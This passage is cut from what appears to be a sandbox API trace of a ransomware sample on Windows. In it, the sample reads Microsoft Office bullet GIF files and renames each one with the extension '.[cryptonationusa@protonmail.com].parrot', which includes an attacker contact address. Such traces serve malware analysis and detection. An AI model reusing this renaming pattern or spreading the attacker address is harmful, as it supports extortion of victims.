lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc7, lpOverlapped=0x0) returned 1 [0165.002] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0165.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0165.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0165.006] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.006] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.007] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.007] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaa, lpOverlapped=0x0) returned 1 [0165.008] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0165.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0165.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645e40 | out: hHeap=0x5b0000) returned 1 [0165.013] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.013] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.014] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.014] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x78, lpOverlapped=0x0) returned 1 [0165.015] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.017] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0165.017] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0165.017] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f1d0 | out: hHeap=0x5b0000) returned 1 [0165.020] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.020] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.021] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.021] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x77, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x77, lpOverlapped=0x0) returned 1 [0165.021] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.024] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0165.024] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0165.024] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f1d0 | out: hHeap=0x5b0000) returned 1 [0165.064] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.064] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.064] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.065] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9, lpOverlapped=0x0) returned 1 [0165.065] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0165.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0165.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0165.073] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.073] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.074] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.074] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb0, lpOverlapped=0x0) returned 1 [0165.075] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.079] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.079] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.080] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.080] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb1, lpOverlapped=0x0) returned 1 [0165.080] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.084] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.084] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.085] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.085] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaf, lpOverlapped=0x0) returned 1 [0165.086] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.110] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.110] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.111] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.111] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaf, lpOverlapped=0x0) returned 1 [0165.111] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.117] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.117] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.118] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.118] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14b, lpOverlapped=0x0) returned 1 [0165.118] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.125] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.125] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.126] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.126] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x154, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x154, lpOverlapped=0x0) returned 1 [0165.126] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.131] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.131] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.132] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.132] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x101, lpOverlapped=0x0) returned 1 [0165.132] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.138] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.139] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.139] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x91, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x91, lpOverlapped=0x0) returned 1 [0165.139] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.143] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.143] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.144] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x130, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x130, lpOverlapped=0x0) returned 1 [0165.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.149] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.150] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.150] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.151] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8a, lpOverlapped=0x0) returned 1 [0165.151] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.155] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.155] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.156] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.156] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1c8, lpOverlapped=0x0) returned 1 [0165.156] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.161] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.162] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.162] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9, lpOverlapped=0x0) returned 1 [0165.163] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 